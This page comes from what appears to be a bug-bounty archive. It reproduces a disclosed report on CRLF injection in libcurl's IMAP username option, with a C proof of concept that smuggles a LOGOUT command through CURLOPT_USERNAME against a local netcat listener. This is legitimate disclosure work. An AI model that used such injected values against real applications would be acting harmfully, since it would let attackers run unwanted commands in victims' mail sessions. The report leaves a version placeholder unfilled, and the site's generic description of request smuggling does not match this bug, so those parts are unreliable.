Skip to content
Smuggling / CRLF Disclosed report Advanced

CRLF Injection / Protocol Smuggling in libcurl via CURLOPT_USERNAME (IMAP)

The IMAP handling in libcurl did not sanitise carriage return and line feed characters in the username option, so injected characters ended the current command and started a new one. An attacker who controls the username value could smuggle extra IMAP commands into the session.

efrsxcv Follow

Originally disclosed on HackerOne

Critical View original
  • Disclosed after 29 hours

Summary:

I have discovered a CRLF injection vulnerability in the IMAP protocol implementation of libcurl. The vulnerability exists because the imap_atom function in lib/imap.c fails to properly sanitize or quote Carriage Return (\r) and Line Feed (\n) characters when processing the CURLOPT_USERNAME option.

This allows an attacker to inject arbitrary IMAP commands by inserting \r\n sequences into the username field. When these characters are sent to the server, they terminate the current command and allow the subsequent data to be interpreted as a new, separate command (Protocol Smuggling).

Affected version

I successfully reproduced this on the latest master branch of curl.

Output of curl -V: [PASTE YOUR curl -V OUTPUT HERE]

Steps To Reproduce:

To reproduce this issue, we need to bypass the CLI argument parsing and use libcurl directly via a C program. We also need a manual netcat listener to observe the raw protocol data.

  1. Setup a Fake IMAP Server: Open a terminal and listen on port 143 (or any available port) using netcat: sudo nc -lvp 143

  2. Compile the Proof of Concept (PoC): Save the following code as poc_imap.c and compile it against libcurl (e.g., gcc poc_imap.c -o poc_imap -lcurl):

    C
    #include <stdio.h>
    #include <curl/curl.h>
    
    int main(void)
    {
      CURL *curl;
      CURLcode res;
    
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();
      if(curl) {
        // Target localhost on port 143
        curl_easy_setopt(curl, CURLOPT_URL, "imap://127.0.0.1:143/");
    
        // PAYLOAD INJECTION:
        // We inject "LOGOUT" as a separate command using CRLF.
        // If vulnerable, this will be sent as a raw new line, not quoted.
        const char *payload = "hacker\r\nLOGOUT";
    
        curl_easy_setopt(curl, CURLOPT_USERNAME, payload);
        curl_easy_setopt(curl, CURLOPT_PASSWORD, "password123");
    
        // Set a timeout to avoid hanging indefinitely during manual test
        curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
    
        // Perform the request
        res = curl_easy_perform(curl);
    
        curl_easy_cleanup(curl);
      }
      curl_global_cleanup();
      return 0;
    }
    
  3. Run the PoC: Execute the compiled binary: ./poc_imap

  4. Trigger the Injection (Manual Handshake): In the terminal running netcat (Step 1), you will see a connection. You must manually simulate the IMAP server greeting for libcurl to proceed sending data.

    • Type: * OK IMAP server ready and press ENTER.
    • Wait for curl to send A001 CAPABILITY.
    • Type: A001 OK Capability completed and press ENTER.
  5. Observe the Injection: Immediately after the handshake, observe the output in the netcat terminal.

Result: The server receives: A002 LOGIN hacker LOGOUT password123

Expected Behavior: The username should be quoted (e.g., "hacker\r\nLOGOUT") or the client should reject the CRLF characters before sending.

Supporting Material/References:

  • Vulnerable Component: lib/imap.c, specifically the imap_atom function handling.
  • Impact: This allows Protocol Smuggling, enabling an attacker to execute arbitrary IMAP commands (like DELETE, SELECT, CREATE) within the authenticated session context.

Impact

Summary:

Attachments

Jepretan_layar_20251227_232700.png
Jepretan_layar_20251227_232700.png From the original on HackerOne
Jepretan_layar_20251227_232713.png
Jepretan_layar_20251227_232713.png

The original report as published on HackerOne, by efrsxcv. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the imap_atom function did not reject or quote CR and LF characters in the username before building the LOGIN command.

Impact

An attacker able to set the username could smuggle arbitrary IMAP commands such as DELETE, SELECT or CREATE into the authenticated session; the report demonstrates this only against a local fake server.

What the attacker needed

Attacker controls the username value; application uses libcurl IMAP

The fix

The username should be quoted or the client should reject CRLF characters before sending.

How it was found

  1. Start a netcat listener on a local port to act as a fake IMAP server.
  2. Compile a small C program that uses libcurl with a crafted username containing CRLF and a second command.
  3. Run the program against the listener.
  4. Manually send the IMAP greeting and the CAPABILITY response so libcurl continues.
  5. Watch the raw traffic to see the injected command arrive as a separate line.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

IMAP is the protocol mail programs use to talk to a mail server, and it works by sending text commands one per line. If a program puts user-supplied text into a command without removing line breaks, the text can end the line early and the rest is read as a brand new command. Here the username field allowed that, so extra commands could be slipped in.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by efrsxcv

View all

2 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.